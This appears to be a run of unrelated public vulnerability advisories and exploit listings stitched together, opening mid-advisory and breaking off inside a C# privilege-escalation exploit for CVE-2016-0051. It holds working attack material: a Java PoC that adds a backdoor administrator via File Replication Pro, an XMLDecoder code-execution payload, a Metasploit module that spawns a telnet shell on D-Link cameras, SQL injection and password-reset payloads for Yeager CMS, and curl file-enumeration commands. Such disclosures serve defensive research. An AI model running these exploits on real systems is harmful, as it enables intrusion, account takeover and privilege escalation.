3. http://www.oracle.com/us/products/middleware/cloud-app-foundation/glassfish-server/overview/index.html


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce
security risks. With cloud and managed security services, integrated
technologies and a team of security experts, ethical hackers and
researchers, Trustwave enables businesses to transform the way they manage
their information security and compliance programs while safely embracing
business imperatives including big data, BYOD and social media. More than
2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud
platform, through which Trustwave delivers automated, efficient and
cost-effective data protection, risk management and threat intelligence.
Trustwave is a privately held company, headquartered in Chicago, with
customers in 96 countries. For more information about Trustwave, visit
www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
            
Vantage Point Security Advisory 2016-001
================================

Title: File Replication Pro Remote Command Execution
Vendor: File Replication Pro
Vendor URL: http://www.filereplicationpro.com/
Versions affected: =< 7.2.0
Severity: High
Vendor notified: Yes
Reported: 29 October 2015
Public release: 10 February 2016
Author: Jerold Hoong and the VP team <jerold[at]vantagepoint[dot]sg>
Permalink:

Summary:
--------
File Replication Pro (FRP)  is a file management solution that is used
to back up and copy files from various nodes in the network. Vantage
Point has discovered multiple vulnerabilities in FRP v7.2.0 (and
possibly prior versions) that allow a remote unauthenticated malicious
run arbitrary code with SYSTEM privileges.

The vulnerabilities that were discovered are:

- Unauthenticated Remote Command Execution
- Unauthenticated Remote Arbitrary File Disclosure
- Unauthenticated Directory Traversal and File Listing

1. Unauthenticated Remote Command Execution
-------------------------------------------
The backup agents implements a RPC service port 9200 that supports
various calls, including a function called "ExecCommand" that
unsurprisingly executes shell commands on the system. A password hash
is used to authenticate calls on this interface (note that the hash
itself and not the password is used for authentication). This hash can
be obtained from the remote file disclosure vulnerability present in
the software (listed below) and used to  authenticate to the RPC
service, where subsequently, arbitrary commands are executed as the
SYSTEM user.

POC Exploit Code of Malicious RPC Client:

/**
 * @author Jerold Hoong (Vantage Point Security)
 * File Replication Pro =< v7.2.0
 * Remote Command Execution PoC Working Exploit
 * www.vantagepoint.sg
 * NOTE: Include FRP libraries to compile
 */

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import net.diasoft.frp.engine.exception.RPCException;
import net.diasoft.frp.engine.model.AddressPort;
import net.diasoft.frp.engine.tcp.client.RPCDriver;
import net.diasoft.frp.engine.tcp.client.TCPConnection;

public class Main {

    static String ip = "1.2.3.4";
    static int port = 9200;
    // password string can be retrieved from remote file disclosure
vulnerability (configuration.xml)
    // If no password is set, input blank string for password
    // Use IE to navigate to <Target IP>:9200. OK = NO-AUTH, Error = AUTH

    static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=

    public static void main(String[] args) {

        AddressPort ap = new AddressPort(ip, port);
        AddressPort addresses[] = {ap};
        TCPConnection _tcp_connection = null;

        try {
            _tcp_connection = new TCPConnection(addresses, password, true);

        } catch (Exception e) {
            e.printStackTrace();
        }

        System.out.print("Connecting to host...");
        RPCDriver rpc = new RPCDriver(_tcp_connection);
        HashMap p = new HashMap();

        try {
            Map r = rpc.callFunction("ExecCommand", p);
            System.out.print("Success!\n");
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        // add new user
        System.out.print("Attempting to add user 'vantagepoint' with
password 'LOLrofl1337!': ");
        p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        // add new user to Admin group
        System.out.print("Attempting to add user 'vantagepoint' to
'Administrators' group: ");
        p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        //add new user to RDP group
        System.out.print("Attempting to add user 'vantagepoint' to
'Remote Desktop Users' group:");
        p.put("COMMAND", "net localgroup \"Remote Desktop Users\"
vantagepoint /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }
        System.out.print("\n\n---- END ----\n\n");

    }
}


2. Unauthenticated Remote Arbitrary File Disclosure
---------------------------------------------------
A flaw in File Replication Pro allows a malicious user to gain access
to the contents of any file on the remote server. This leads to the
compromise of sensitive information such as user accounts and password
hashes, which can then be used to further exploit the server using
other vulnerabilities in the software. An example of how to view File
Replication Pro's web interface user accounts and credentials is shown
below by accessing the following URLs:

- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\properties.xml
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml


3. Unauthenticated Directory Traversal and File Listing
-------------------------------------------------------
It was possible to anonymously view the file directory structure of
the remote File Replication Pro management server as well as the file
directory structure of all server nodes that are managed by the
management server. The parameters that are used to construct the POST
request in the example code below can be obtained via the remote file
disclosure vulnerability by accessing File Replication Pro's
configuration.xml, properties.xml and .frp_id files.

POST /GetRemoteDirList.jsp?server_name=WIN7SP1&server_key=WIN7SP1~29d919a3:150c736b708:-8000&server_role=Source&server_password=&parent_dir=../../../c:/
HTTP/1.1
Host: 127.0.0.1:9100
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9100/AddEditJob.do?action=new
Cookie: show_greeting=value; JSESSIONID=81cgjqf795cai
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


Fix Information:
----------------
Upgrade to the latest version of File Replication Pro 7.3.0

Timeline:
---------
28 October 2015  - Vulnerabilities discovered
06 November 2015 - Vendor acknowledged and scheduled fixes to commence
02 February 2016 - Patch released by vendor
10 February 2016 - Release of this advisory to the public

About Vantage Point Security:
-----------------------------

Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.

https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg
            
Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder


Vendor: Wieland Electric GmbH
Product web page: http://www.wieland-electric.com
Affected version: 4.1 (Build 9)

Summary: Your new software for the configuration
of Wieland terminal rails. wieplan enables you to
plan a complete terminal rail in a very simple way
and to then place an order with Wieland. The configured
terminal rail can be stored in DXF format and read
into a CAD tool for further processing. Due to the
intuitive user interface, the configuration of terminal
rails with wieplan is easy.

Desc: wieplan suffers from an arbitrary java code
execution when parsing WIE documents that uses XMLDecoder,
allowing system access to the affected machine. The
software is used to generate custom specification
order saved in .wie XML file that has to be sent
to the vendor offices to be processed.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)
           Java/1.8.0_73
           Java/1.6.0_62


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5304
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php


25.11.2016

---


<?xml version="1.0" encoding="UTF-8"?>
<java version="1.6.0_02" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
        <string>c:\\windows\\system32\\calc.exe</string>
    </void>
 </object>
</java>
            
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link DCS-930L Authenticated Remote Command Execution',
      'Description' => %q{
        The D-Link DCS-930L Network Video Camera is vulnerable
        to OS Command Injection via the web interface.  The vulnerability
        exists at /setSystemCommand, which is accessible with credentials.
        This vulnerability was present in firmware version 2.01 and fixed
        by 2.12.
      },
      'Author'      =>
        [
          'Nicholas Starke <nick@alephvoid.com>'
        ],
      'License'         => MSF_LICENSE,
      'DisclosureDate'  => 'Dec 20 2015',
      'Privileged'      => true,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Payload'         =>
        {
          'Compat'  => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find',
          },
        },
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'Targets'        =>
        [
          [  'Automatic',     { } ],
        ],
      'DefaultTarget'  => 0
     ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', ''])
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
      ], self.class)
  end

  def telnet_timeout
    (datastore['TelnetTimeout'] || 10)
  end

  def banner_timeout
    (datastore['TelnetBannerTimeout'] || 25)
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD'] || ''

    test_login(user, pass)
    exploit_telnet
  end

  def test_login(user, pass)
    print_status("#{peer} - Trying to login with #{user} : #{pass}")

    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200

    print_good("#{peer} - Successful login #{user} : #{pass}")
  end

  def exploit_telnet
    telnet_port = rand(32767) + 32768

    print_status("#{peer} - Telnet Port: #{telnet_port}")

    cmd = "telnetd -p #{telnet_port} -l/bin/sh"

    telnet_request(cmd)

    print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })

    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
    end

    add_socket(sock)

    print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
    prompt = negotiate_telnet(sock)

    if prompt.nil?
      sock.close
      fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
    else
      print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
    end

    handler(sock)
  end

  def telnet_request(cmd)
    uri = '/setSystemCommand'

    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'POST',
        'vars_post' => {
          'ReplySuccessPage' => 'docmd.htm',
          'ReplyErrorPage' => 'docmd.htm',
          'SystemCommand'  => cmd,
          'ConfigSystemCommand' => 'Save'
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def negotiate_telnet(sock)
    begin
      Timeout.timeout(banner_timeout) do
        while(true)
          data = sock.get_once(-1, telnet_timeout)
          return nil if not data or data.length == 0
          if data =~ /BusyBox/
            return true
          end
        end
      end
    rescue ::Timeout::Error
      return nil
    end
  end
end
            
SEC Consult Vulnerability Lab Security Advisory < 20160210-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: Yeager CMS
 vulnerable version: 1.2.1
      fixed version: 1.3
         CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570
,
                     CVE-2015-7571, CVE-2015-7572
             impact: Critical
           homepage: http://yeager.cm/en/home/
              found: 2015-11-18
                 by: P. Morimoto (Office Bangkok)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
Yeager is an open source CMS that aims to become the most cost/time-effective
solution for medium and large web sites and applications.


Business recommendation:
------------------------
Yeager CMS suffers from multiple vulnerabilities due to improper input
validation and unprotected test scripts. By exploiting these vulnerabilities
an attacker could:
    1. Change user's passwords including the administrator's account.
    2. Gain full access to the Yeager CMS database.
    3. Determine internal servers that inaccessible from the Internet.
    4. Attack other users of the Yeager CMS with Cross-Site Scripting.

SEC Consult recommends not to use this software until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.

Vulnerability overview/description:
-----------------------------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
5. Non-permanent Cross-site Scripting (CVE-2015-7572)


Proof of concept:
-----------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
http://<host>/yeager/?action=passwordreset&token=<SQL Injection>
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"<SQL
Injection>"}}]

The vulnerability can also be used for unauthorized reset password of any user.
In order to reset a specific user's password, an attacker will need to provide
a valid email address of the user that he wants to attack.
The email can be retrieved by either social engineering or using the
aforementioned unauthenticated SQL injection vulnerability.

http://<host>/yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d
ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":"<victim@ema
il.com>","winID":"1"}}]

The above URL just simply creates and sends a reset password token to the
user's email. Next, even if attacker does not know the token,
manipulating SQL commands allows to force to set the new password instantly.

Note that new password MUST be at least 8 characters in length
and must contain both letters and numbers.

http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui
d=(select+id+from+yg_user+where+login='<victim@email.com>')+limit+1--+-","userP
assword":"<new-password>","winID":"1"}}]

2. Post-authentication Blind SQL Injection (CVE-2015-7569)
http://<host>/yeager/y.php/tab_USERLIST
POST Data:
win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000&
lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby=<SQL
Injection>&pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1

3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
A publicly known Arbitrary File Upload vulnerability of Plupload was found in
Yeager CMS.
Fortunately, to successfully exploit the vulnerability requires PHP directive
"upload_tmp_dir" set to an existing directory and it must contain the writable
directory "plupload".

By default, the PHP directive "upload_tmp_dir" is an empty value.
As a result, the script will attempt to upload a file to /plupload/ instead
which generally does not exist on the filesystem.

http://<host>/yeager/ui/js/3rd/plupload/examples/upload.php

4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_datadictionary.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php

The parameter "dbhost" can be used to perform internal port scan using
time delay measurement. An attacker can provide internal IP address
and port number, for example, 10.10.0.1:22. The attacker then compares
time delays from multiple responses in order to determine host
and port availability.

5. Non-permanent Cross-site Scripting (CVE-2015-7572)
A previously published XSS vulnerability of Plupload was found in Yeager CMS.
http://<host>/yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca
tch%28e%29{alert%28/XSS/%29;}//


Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been tested on Yeager CMS 1.2.1

URL: http://yeager.cm/en/download/package/?v=1.2.1.0.0


Vendor contact timeline:
------------------------
2015-12-07: Contacting vendor through office@nexttuesday.de, contact@yeager.cm
2015-12-07: Established secure communication channel
2015-12-07: Sending advisory draft
2015-12-10: Yeager CMS 1.2.2 released for security fixes
2015-12-22: Yeager CMS 1.3 released for security fixes
2016-02-10: Public advisory release

Solution:
---------
The vulnerability has been fixed in Yeager CMS 1.3 and later.

https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8#
diff-4200a6e704ae66ada32f35f69796cc71
https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307

Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Pichaya Morimoto / @2015
            
Document Title:
===============
Apache Sling Framework v2.3.6 (Adobe AEM) [CVE-2016-0956] - Information Disclosure Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1536

Adobe Bulletin: https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0956

Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2016/02/10/apache-sling-fw-v236-remote-slingpostservlet-exception-vulnerability


CVE-ID:
=======
CVE-2016-0956


Release Date:
=============
2016-02-10


Vulnerability Laboratory ID (VL-ID):
====================================
1536


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
Apache Sling is a web framework that uses a Java Content Repository, such as Apache Jackrabbit, to store and manage content. Sling applications use either scripts 
or Java servlets, selected based on simple name conventions, to process HTTP requests in a RESTful way. The embedded Apache Felix OSGi framework and console provide 
a dynamic runtime environment, where code and content bundles can be loaded, unloaded and reconfigured at runtime. As the first web framework dedicated to JSR-170 
Java Content Repositories, Sling makes it very simple to implement simple applications, while providing an enterprise-level framework for more complex applications.

(Copy of the Vendor Homepage:  http://sling.apache.org/)


Adobe Experience Manager (AEM) provides a complete suite of applications for the Web Experience Management (WEM) of organizations.

(Copy of the Vendor Homepage: https://docs.adobe.com/docs/en/aem/6-1.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a remote vulnerability in the official Apache Sling Framwork v2.3.6 software.


Vulnerability Disclosure Timeline:
==================================
2016-02-10:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apache Software Foundation
Product: Apache Sling - Framework (Adobe AEM) 2.3.6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
It seems that on some instances of AEM, due to lack of proper security controls and or misconfiguration, it is possible for remote unauthenticated 
users to enumerate local system files/folders that arent accessible publicly to unauthenticated users.

This can be achieved by sending a `delete` requests to the SlingPostServlet which in return, responds back with a 500 exception page and the 
following exception message: (org.apache.sling.api.resource.PersistenceException - Unable to commit changes to session)

No actual files are deleted with this request however, the HTML response contains a `ChangeLog` field which is where all enumerated folder/file 
names are displayed (if existing). For instance, following POC command can be used to reproduce the said behavior.

curl -F``:operation=delete`` -F``:applyTo=/foldername/*`` http://website.com/path/file.html

To reproduce this in real world, I found an adobe website which is currently affected with this behavior. You can use the following CURL command 
to reproduce the POC:

curl -F``:operation=delete`` -F``:applyTo=/etc/*`` https://server/content/adobedemolab/welcome-page.html

Note: This curl command should enumerate all files/folders which currently exist in /etc folder

This vulnerability currently affects major websites i.e. almost every instance of Adobe AEM published on the internet. Some references are included below for reference.

Affected Framework(s):
Apache Sling

Affected Product(s)
Adobe AEM (All Versions)


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without privilege system user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:
1. curl -F":operation=delete" -F":applyTo=/foldername/*" http://website.com/path/file.html
2. curl -F":operation=delete" -F":applyTo=/etc/*" https://www.adobedemo.com/content/adobedemolab/welcome-page.html


Solution - Fix & Patch:
=======================
The vulnerability is fixed in version Servlets POST 2.3.8. Please update by by automatic request or implement the manual fix.

Adobe: Hot fix 6445 resolves an information disclosure vulnerability affecting Apache Sling Servlets Post 2.3.6 (CVE-2016-0956).


Security Risk:
==============
The security risk of the exception software vulnerability in the apache sling framework is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com] (https://twitter.com/cybercrimenews)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
/*
source: https://github.com/koczkatamas/CVE-2016-0051

Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).

Full Proof of Concept:
- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip


Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
*/

using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;

namespace EoP
{
    class Program
    {
        #region Fake WebDAV server

        static void StartFakeWebDavServer(int port)
        {
            new Thread(() =>
            {
                var server = new TcpListener(IPAddress.Loopback, port);
                server.Start();
                while (true)
                {
                    using (var client = server.AcceptTcpClient())
                    using (var stream = client.GetStream())
                    using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
                    using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
                    {
                        Func<string> rl = () =>
                        {
                            var line = reader.ReadLine();
                            //Console.WriteLine("< " + line);
                            return line;
                        };

                        Action<string> wl = outData =>
                        {
                            //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
                            writer.Write(outData);
                        };

                        var hdrLine = rl();
                        Console.WriteLine("[*] Request: " + hdrLine);

                        var header = hdrLine.Split(' ');
                        while (!string.IsNullOrEmpty(rl())) { }

                        if (header[0] == "OPTIONS")
                            wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
                        else if (header[0] == "PROPFIND")
                        {
                            var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
    <D:href>{0}</D:href>
    <D:propstat>
        <D:prop>
            <D:creationdate>{1:s}Z</D:creationdate>
            <D:getcontentlength>{3}</D:getcontentlength>
            <D:getcontenttype>{4}</D:getcontenttype>
            <D:getetag>{5}</D:getetag>
            <D:getlastmodified>{6:R}</D:getlastmodified>
            <D:resourcetype>{8}</D:resourcetype>
            <D:supportedlock></D:supportedlock>
            <D:ishidden>{7}</D:ishidden>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();

                            wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
                        }
                        else
                            wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");

                        //Console.WriteLine(" =============== END REQUEST =============== ");
                    }
                }
            }) { IsBackground = true, Name = "WebDAV server thread" }.Start();
        }

        #endregion

        #region WinAPI

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

        [StructLayout(LayoutKind.Sequential)]
        private class NETRESOURCE
        {
            public uint dwScope = 0;
            public uint dwType = 0;
            public uint dwDisplayType = 0;
            public uint dwUsage = 0;
            public string lpLocalName = null;
            public string lpRemoteName = null;
            public string lpComment = null;
            public string lpProvider = null;
        }

        [DllImport("mpr.dll")]
        private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);

        // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library

        public enum PageProtection : uint
        {
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            GUARD = 0x100,
            NOCACHE = 0x200,
            WRITECOMBINE = 0x400
        }

        [Flags]
        public enum MemoryAllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            FREE = 0x10000,
            PRIVATE = 0x20000,
            MAPPED = 0x40000,
            RESET = 0x80000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000,
            ROTATE = 0x800000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            FOUR_MB_PAGES = 0x80000000
        }

        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
        public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);

        public enum FileOpenInformation
        {
            Superceded = 0x00000000,
            Opened = 0x00000001,
            Created = 0x00000002,
            Overwritten = 0x00000003,
            Exists = 0x00000004,
            DoesNotExist = 0x00000005
        }

